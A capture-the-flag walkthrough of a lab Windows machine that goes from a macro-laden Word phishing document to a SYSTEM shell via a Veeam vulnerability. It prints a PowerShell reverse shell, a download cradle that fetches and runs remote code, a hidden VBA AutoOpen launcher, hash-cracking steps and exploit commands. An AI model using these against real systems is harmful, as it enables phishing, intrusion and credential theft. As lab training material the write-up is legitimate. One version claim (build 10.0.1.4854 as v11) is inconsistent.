Executive Summary
JobTwo is a Windows Server 2022 machine that simulates a realistic corporate phishing and privilege escalation scenario. The attack chain begins with a job posting website that solicits Word document CVs via email. By crafting a macro-embedded .docm file and sending it to the HR email address, we obtain an initial foothold as user julian. From there, we discover hMailServer installed on the box, extract and crack a password hash from its database to pivot to user ferdinand (user flag). Finally, we exploit CVE-2023-27532 - an unauthenticated credential leak and RCE vulnerability in Veeam Backup & Replication — to execute commands as NT AUTHORITY\SYSTEM and retrieve the root flag.
Table of Contents
- Reconnaissance
- Web Enumeration
- Initial Access - VBA Macro Phishing
- Stable Shell with ConPtyShell
- Post-Exploitation as Julian
- Credential Extraction - hMailServer
- Lateral Movement to Ferdinand (User Flag)
- Privilege Escalation - CVE-2023-27532 (Veeam)
- Root Flag
- Attack Chain Summary
- Key Vulnerabilities
1. Reconnaissance
We start with a full Nmap scan using -A (aggressive mode: OS detection, version detection, script scanning) and -Pn (skip host discovery, since ICMP may be blocked):
root@kali:/home/kali/htb/Job2# nmap -A -Pn <TARGET_IP>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_9.5 (protocol 2.0)
25/tcp open smtp hMailServer smtpd
80/tcp open http Microsoft HTTPAPI httpd 2.0
443/tcp open ssl/https?
| ssl-cert: Subject: commonName=www.job2.vl
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Product_Version: 10.0.20348
5985/tcp open http Microsoft HTTPAPI httpd 2.0
... [snipped]
OS: Microsoft Windows Server 2022 (89%)
Key observations:
- Port 25 (SMTP) - hMailServer is running, meaning we can send emails directly to the box.
- Port 80/443 - a web server is present.
- Port 5985 - WinRM is open, useful for lateral movement if we get credentials.
- OS fingerprinting suggests Windows Server 2022.
We add the hostnames to /etc/hosts so domain-based virtual hosting resolves correctly:
echo '<TARGET_IP> job2.vl www.job2.vl' >> /etc/hosts
We check for anonymous/guest SMB access - both fail:
root@kali# nxc smb <TARGET_IP> -u '' -p ''
SMB <TARGET_IP> 445 JOB2 [-] JOB2\: STATUS_ACCESS_DENIED
root@kali# nxc smb <TARGET_IP> -u 'guest' -p ''
SMB <TARGET_IP> 445 JOB2 [-] JOB2\guest: STATUS_ACCOUNT_DISABLED
SMB is a dead end. We pivot to the web server.
2. Web Enumeration
Browsing to http://www.job2.vl reveals a boat rental company job posting page. The key line:
"If you are interested in this position, please send your CV to **hr@job2.vl* as a Microsoft Word Document."*
This is the entry point. The site is explicitly asking for a Word document attachment - a classic phishing vector. SMTP (port 25) is directly accessible with no authentication, so we can deliver mail straight to the target.
3. Initial Access - VBA Macro Phishing
How it works
Microsoft Word supports Visual Basic for Applications (VBA) macros embedded inside .docm files. When a victim opens the document and enables macros, the AutoOpen subroutine fires automatically. We abuse this to execute a PowerShell reverse shell without any user interaction beyond opening the file.
Step 1 - Create the PowerShell reverse shell
We grab a PowerShell reverse shell from revshells.com - specifically the PowerShell #1 option - plugging in our attacker IP and port 4444, then save it as shell.ps1:
cat shell.ps1
$LHOST = "<YOUR_IP>"
$LPORT = 4444
$TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT)
$NetworkStream = $TCPClient.GetStream()
$StreamReader = New-Object IO.StreamReader($NetworkStream)
$StreamWriter = New-Object IO.StreamWriter($NetworkStream)
$StreamWriter.AutoFlush = $true
$Buffer = New-Object System.Byte[] 1024
while ($TCPClient.Connected) {
while ($NetworkStream.DataAvailable) {
$RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length)
$Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData - 1)
}
if ($TCPClient.Connected -and $Code.Length -gt 1) {
$Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }
$StreamWriter.Write("$Output`n")
$Code = $null
}
}
$TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()
Step 2 - Base64-encode a download cradle
Instead of embedding the full shell script inside the macro (which could trigger AV), we use a download cradle: the macro tells PowerShell to fetch shell.ps1 from our HTTP server and execute it in memory. We encode the cradle in UTF-16LE Base64 (the format PowerShell's -EncodedCommand flag expects):
cmd='IEX(New-Object Net.WebClient).DownloadString("http://<YOUR_IP>/shell.ps1")'
echo -n "$cmd" | iconv -t UTF-16LE | base64 -w0
Replace
<YOUR_IP>with your own attacker IP and re-run the encoding to generate your own base64 string.
Step 3 - Create the malicious Word document
This requires a Windows machine with Microsoft Word (Microsoft 365 or an activated license). The VBA project name in the editor will match your .docm filename - saving as evil.docm means the project shows as Project (evil) in the VBA editor.
- Open Word → create a new
.docmfile, save it asevil.docm. - Go to View → Macros, type
AutoOpen→ click Create. - In the VBA editor, right-click Project (evil) → Insert → Module.
- Paste the following macro.
AutoOpenfires on open;Document_Openis a fallback for some Word versions:
Sub AutoOpen()
Shell "powershell -nop -w hidden -ep bypass -e <YOUR_BASE64_HERE>", vbHide
End Sub
Sub Document_Open()
AutoOpen
End Sub
Save as evil.docm.
Step 4 - Host the payload and set up the listener
python3 -m http.server 80
rlwrap -cAr nc -lnvp 4444
(rlwrap adds readline support — arrow keys and command history in the shell.)
Step 5 - Send the phishing email
We use swaks (Swiss Army Knife for SMTP) to send the malicious document directly to hr@job2.vl via port 25. No authentication is required:
swaks \
--to hr@job2.vl \
--from exploit@notes.com \
--header 'Subject: Job Application' \
--body "Please review my resume" \
--attach @evil.docm \
--server <TARGET_IP>
=== Connected to <TARGET_IP>.
<- 220 JOB2 ESMTP
-> MAIL FROM:<exploit@notes.com>
<- 250 OK
-> RCPT TO:<hr@job2.vl>
<- 250 OK
-> DATA
... [attachment sent] ...
<** 250 Queued (35.408 seconds)
=== Connection closed with remote host.
Note on timeouts: The connection may time out waiting for a server response, but as long as
250 Queuedappears, the payload will execute — the mail bot opens the document automatically.
Shortly after, our HTTP server gets a hit and the listener catches the callback:
<TARGET_IP> - - "GET /shell.ps1 HTTP/1.1" 200 -
nc -lnvp 4444
connect to [<YOUR_IP>] from (UNKNOWN) [<TARGET_IP>] 57097
hostname
JOB2
We have a shell as job2\julian.
4. Stable Shell with ConPtyShell
The initial Netcat shell is limited - no tab completion, no arrow keys. We upgrade to a full interactive PTY using ConPtyShell, which uses the Windows ConPTY API:
git clone https://github.com/antonioCoco/ConPtyShell.git
cd ConPtyShell
python3 -m http.server 8000
On the target:
IEX (iwr http://<YOUR_IP>:8000/Invoke-ConPtyShell.ps1 -UseBasicParsing)
Invoke-ConPtyShell <YOUR_IP> 4445
Listener on our end:
stty raw -echo
( stty size; cat ) | nc -lvnp 4445
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\WINDOWS\system32>
We now have a fully interactive PowerShell session.
5. Post-Exploitation as Julian
We check our user context and privileges:
PS C:\> whoami /all
User Name : job2\julian
Integrity : Medium Mandatory Level
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
ERROR: Unable to get user claims information.
Julian is a low-privilege standard user - no SeImpersonatePrivilege or other useful tokens. We list all local accounts:
PS C:\Users> net user
User accounts for \\JOB2
-------------------------------------------------------------------------------
Administrator DefaultAccount Ferdinand
Guest Julian svc_veeam
WDAGUtilityAccount
Notable: Ferdinand, Administrator, and service account svc_veeam. Ferdinand's directory is access-denied. Julian's Desktop only has a Word shortcut — confirming Julian is the HR bot account that opened our phishing document.
We explore C:\ for interesting directories:
PS C:\> dir
Directory: C:\
Mode LastWriteTime Name
---- ------------- ----
...
d----- 5/3/2023 VBRCatalog
...
VBRCatalog stands out - VBR is Veeam Backup & Replication. We also enumerate Program Files (x86):
PS C:\Program Files (x86)> dir
Directory: C:\Program Files (x86)
d----- 5/3/2023 hMailServer
d----- 5/3/2023 Microsoft SQL Server Compact Edition
d----- 5/3/2023 Veeam
... [snipped]
Two interesting targets: hMailServer (the mail server we already used) and Veeam (enterprise backup software with known critical CVEs). We start with hMailServer.
6. Credential Extraction - hMailServer
Reading the config file
We navigate into the hMailServer Bin directory and read the INI config:
PS C:\Program Files (x86)\hMailServer\Bin> type hMailServer.INI
[Security]
AdministratorPassword=8a53bc0c0c9733319e5ee28dedce038e
[Database]
Type=MSSQLCE
Password=4e9989caf04eaa5ef87fd1f853f08b62
PasswordEncryption=1
Database=hMailServer
The Password field is encrypted with hMailServer's Blowfish-based encryption (PasswordEncryption=1). The database type MSSQLCE tells us it's a SQL Server Compact Edition .sdf file.
Finding the database file
We use a recursive search to locate the .sdf file:
PS C:\Program Files (x86)\hMailServer\Bin> Get-ChildItem "C:\" -Recurse -Filter *.sdf -ErrorAction SilentlyContinue
Directory: C:\Program Files (x86)\hMailServer\Database
-a---- 6/26/2026 675840 hMailServer.sdf
Database confirmed at C:\Program Files (x86)\hMailServer\Database\hMailServer.sdf.
Decrypting the database password
On our attacker machine, we use hMailDatabasePasswordDecrypter — a tool that reverses hMailServer's known encryption:
git clone https://github.com/GitMirar/hMailDatabasePasswordDecrypter
cd hMailDatabasePasswordDecrypter
make
chmod +x decrypt
./decrypt 4e9989caf04eaa5ef87fd1f853f08b62
95C02068FD5D
The decrypted database password is 95C02068FD5D.
Finding the right SqlServerCe DLL
To open the .sdf from PowerShell we need System.Data.SqlServerCe.dll. We search for available versions:
Get-ChildItem "C:\Program Files*" -Recurse -Filter System.Data.SqlServerCe.dll -ErrorAction SilentlyContinue
Both v3.5 and v4.0 are present under C:\Program Files\Microsoft SQL Server Compact Edition\.
Opening the database
First, we copy the .sdf to a writable location — the original is locked by the running hMailServer service:
Copy-Item "C:\Program Files (x86)\hMailServer\Database\hMailServer.sdf" C:\temp\
We try v4.0 first:
Add-Type -Path "C:\Program Files\Microsoft SQL Server Compact Edition\v4.0\Desktop\System.Data.SqlServerCe.dll"
$conn = New-Object System.Data.SqlServerCe.SqlCeConnection
$conn.ConnectionString = "Data Source=C:\temp\hMailServer.sdf;Password=95C02068FD5D"
$conn.Open()
Exception: "The database file has been created by an earlier version of SQL Server Compact.
Please upgrade using SqlCeEngine.Upgrade() method."
Version mismatch. We start a fresh PowerShell session (to avoid DLL conflicts) and load v3.5 instead:
Add-Type -Path "C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\System.Data.SqlServerCe.dll"
$conn = New-Object System.Data.SqlServerCe.SqlCeConnection
$conn.ConnectionString = "Data Source=C:\temp\hMailServer.sdf;Password=95C02068FD5D"
$conn.Open()
$conn.State
Open
Querying for credentials
We list all tables to understand the schema:
$cmd = $conn.CreateCommand()
$cmd.CommandText = "SELECT table_name FROM information_schema.tables"
$r = $cmd.ExecuteReader()
while($r.Read()){ $r[0] }
hm_accounts
hm_domains
hm_messages
hm_rules
... [33 tables total, snipped]
hm_accounts is the target. Rather than guessing column names, we enumerate them directly from the reader:
$r.Close()
$cmd.CommandText = "SELECT * FROM hm_accounts"
$r = $cmd.ExecuteReader()
for($i=0; $i -lt $r.FieldCount; $i++){ $r.GetName($i) }
accountid
accountaddress
accountpassword
accountpwencryption
accountactive
... [25 columns total, snipped]
We care about accountaddress and accountpassword. We extract just those:
$r.Close()
$cmd.CommandText = "SELECT accountaddress, accountpassword FROM hm_accounts"
$r = $cmd.ExecuteReader()
while($r.Read()){ "$($r[0]) : $($r[1])" }
Julian@job2.vl : 8981c81abda0acadf1d12dd9d213bac7c51c022a34268058af3757607075e0eb49f76f
Ferdinand@job2.vl : 04063d4de2e5d06721cfbd7a31390d02d18941d392e86aabe02eda181d9702838baa11
hr@job2.vl : 1a5adad158ccffd81db73db040c72109067add598fafc47bbbd92da9a69661af94f055
Three accounts - Julian (us), Ferdinand, and the HR bot.
Cracking with John the Ripper
hMailServer uses sha256($salt.$password) - John the Ripper recognises this as the hMailServer format:
cat > users.hash << 'EOF'
Julian@job2.vl:8981c81abda0acadf1d12dd9d213bac7c51c022a34268058af3757607075e0eb49f76f
Ferdinand@job2.vl:04063d4de2e5d06721cfbd7a31390d02d18941d392e86aabe02eda181d9702838baa11
hr@job2.vl:1a5adad158ccffd81db73db040c72109067add598fafc47bbbd92da9a69661af94f055
EOF
john users.hash --wordlist=/usr/share/wordlists/rockyou.txt
Loaded 3 password hashes with 3 different salts (hMailServer [sha256($s.$p)])
Franzi123! (Ferdinand@job2.vl)
1g 0:00:00:05 DONE
Session completed.
Ferdinand's password is Franzi123!. The other two hashes didn't crack against rockyou.
7. Lateral Movement to Ferdinand (User Flag)
We verify the credentials work for WinRM:
nxc winrm <TARGET_IP> -u Ferdinand -p 'Franzi123!'
WINRM <TARGET_IP> 5985 JOB2 [+] JOB2\Ferdinand:Franzi123! (Pwn3d!)
Connect with Evil-WinRM:
evil-winrm -i <TARGET_IP> -u Ferdinand -p 'Franzi123!'
*Evil-WinRM* PS C:\Users\Ferdinand\Desktop> type user.txt
[REDACTED]
Ferdinand is in Remote Management Users but has no elevated privileges — we need another path to SYSTEM.
8. Privilege Escalation - CVE-2023-27532 (Veeam)
Discovery
We spotted Veeam in Program Files (x86) earlier, but that only contains the agent components (Backup Transport, vPowerNFS). The full Veeam Backup & Replication server lives in Program Files (64-bit).
I Googled "how to find version of Veeam Backup and Replication from PowerShell" and found you can read the file version from the console executable using [System.Diagnostics.FileVersionInfo]. First attempt used the wrong path:
[System.Diagnostics.FileVersionInfo]::GetVersionInfo("C:\Program Files (x86)\Veeam\Backup and Replication\Console\veeam.backup.shell.exe").FileVersion
Exception: FileNotFoundException
Correcting to the 64-bit path:
[System.Diagnostics.FileVersionInfo]::GetVersionInfo("C:\Program Files\Veeam\Backup and Replication\Console\veeam.backup.shell.exe").FileVersion
10.0.1.4854
Build 10.0.1.4854 is Veeam v11 - well below the patched build 11.0.1.1261 P20230227. This is vulnerable to CVE-2023-27532.
What is CVE-2023-27532?
CVE-2023-27532 is a high-severity vulnerability (CVSS 7.5, effectively critical in practice). I found detailed technical analysis on the AttackerKB blog by Rapid7: https://attackerkb.com/topics/ALUsuJioE5/cve-2023-27532/rapid7-analysis.
The Veeam backup service (Veeam.Backup.Service.exe) exposes a .NET WCF endpoint on TCP port 9401 with no client authentication (clientCredentialType="None"):
<binding name="invokeServiceBinding" ...>
<security mode="Transport">
<transport clientCredentialType="None" />
</security>
</binding>
This allows any unauthenticated user to:
-
Extract plaintext credentials - via
CredentialsDbScopeGetAllCreds, which decrypts stored credentials server-side using DPAPI and sends them back in plaintext. The Rapid7 analysis notes that a Horizon3 PoC leveragesCredentialsDbScopeFindCredentialsfor the same effect. -
RCE as SYSTEM - via
GetDataTablewithDatabaseAccessorscope, which passes raw SQL to the backend. This enablesxp_cmdshelland gives arbitrary command execution as the Veeam service account (NT AUTHORITY\SYSTEM).
This vulnerability was widely exploited in real-world ransomware campaigns — attackers targeted backup infrastructure specifically to destroy recovery capability.
Exploitation
We use CVE-2023-27532-RCE-Only. Clone and host it:
git clone https://github.com/puckiestyle/CVE-2023-27532-RCE-Only
cd CVE-2023-27532-RCE-Only
python3 -m http.server 8000
The exploit needs three Veeam DLLs alongside the executable (all included in the repo). Without them the binary fails. Download all four to C:\temp:
*Evil-WinRM* PS C:\temp> iwr http://<YOUR_IP>:8000/VeeamHax.exe -OutFile C:\temp\VeeamHax.exe
*Evil-WinRM* PS C:\temp> iwr http://<YOUR_IP>:8000/Veeam.Backup.Common.dll -OutFile C:\temp\Veeam.Backup.Common.dll
*Evil-WinRM* PS C:\temp> iwr http://<YOUR_IP>:8000/Veeam.Backup.Model.dll -OutFile C:\temp\Veeam.Backup.Model.dll
*Evil-WinRM* PS C:\temp> iwr http://<YOUR_IP>:8000/Veeam.Backup.Interaction.MountService.dll -OutFile C:\temp\Veeam.Backup.Interaction.MountService.dll
Test the exploit reaches the Veeam service:
*Evil-WinRM* PS C:\temp> .\VeeamHax.exe
Targeting 127.0.0.1:9401
Start a listener, then fire the exploit with a base64-encoded PowerShell reverse shell from revshells.com via --cmd:
rlwrap -cAr nc -lnvp 3333
*Evil-WinRM* PS C:\temp> .\VeeamHax.exe --cmd "powershell -e JABjAGwAaQBlAG4AdAAgAD0A..."
Targeting 127.0.0.1:9401
Shell catches:
PS C:\WINDOWS\system32> whoami
nt authority\system
We are NT AUTHORITY\SYSTEM.
9. Root Flag
PS C:\WINDOWS\system32> cd C:\Users\Administrator\Desktop
PS C:\Users\Administrator\Desktop> type root.txt
[REDACTED]
10. Attack Chain Summary
[Attacker]
│
├─ 1. Nmap → SMTP (25), HTTP (80/443), WinRM (5985)
│
├─ 2. Web enum → job posting → "Send CV to hr@job2.vl as Word document"
│
├─ 3. Craft evil.docm — VBA AutoOpen macro (download cradle → shell.ps1)
│
├─ 4. swaks sends evil.docm to hr@job2.vl via open SMTP
│ └─ Mail bot opens doc → macro fires → reverse shell as julian
│
├─ 5. Enumerate filesystem → hMailServer + Veeam spotted
│
├─ 6. hMailServer credential extraction
│ ├─ Read hMailServer.INI → encrypted DB password
│ ├─ Decrypt with hMailDatabasePasswordDecrypter → 95C02068FD5D
│ ├─ Locate hMailServer.sdf → copy to C:\temp
│ ├─ Open with SqlServerCe v3.5 → query hm_accounts
│ └─ Extract SHA256 hashes → crack with John → Franzi123! (Ferdinand)
│
├─ 7. evil-winrm as Ferdinand → user.txt [REDACTED]
│
├─ 8. Veeam v11.0.1.4854 → vulnerable to CVE-2023-27532
│ └─ Unauthenticated WCF endpoint (port 9401) → xp_cmdshell → SYSTEM shell
│
└─ 9. root.txt [REDACTED]
11. Key Vulnerabilities
| # | Vulnerability | Impact | CVSS |
|---|---|---|---|
| 1 | Open SMTP relay — hMailServer accepts unauthenticated mail to internal addresses | Enables phishing with no credentials | N/A |
| 2 | VBA Macro execution — mail bot opens attachments with macros enabled, no AV | RCE via phishing document | N/A |
| 3 | hMailServer credential storage — SHA-256 hashes crackable offline; DB password in INI | Credential theft → lateral movement | N/A |
| 4 | CVE-2023-27532 — Veeam WCF endpoint on port 9401 with no client auth | Unauthenticated RCE as SYSTEM via xp_cmdshell
|
7.5 (High) |
Top comments (0)